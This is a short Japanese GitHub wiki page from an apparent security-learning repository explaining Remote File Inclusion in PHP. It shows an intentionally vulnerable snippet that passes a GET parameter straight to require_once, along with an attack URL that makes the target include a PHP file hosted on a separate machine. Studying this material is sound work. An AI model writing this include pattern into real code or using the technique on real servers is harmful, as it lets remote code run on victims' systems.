リモートファイルインクルード 01 - yujitounai/helloworld GitHub Wiki

リモートファイルインクルード/Remote File Inclusion

単純なRFI

現状のphpではデフォルト allow_url_include=0 なので外部からの読み取りはできない ini_set('allow_url_include', 1); は効かないのでphp.iniで設定する必要があるかも

脆弱なソースコード (php4)

<body>
<div class="box">
	<form method="get" action="">header
		<input name="header" type="text">
		<input type="submit">
	</form>
</div>
<?php
$header = $_GET['header'];
if(isset($header)){
  require_once($header);
}
?>
</body>

攻撃手法

phpファイルをテキストとして出力してくれるサーバーにホストする

http://localhost:9003/rfi-01.php?header=http://192.168.5.33/hack/info.php3

⚠️ **GitHub.com Fallback** ⚠️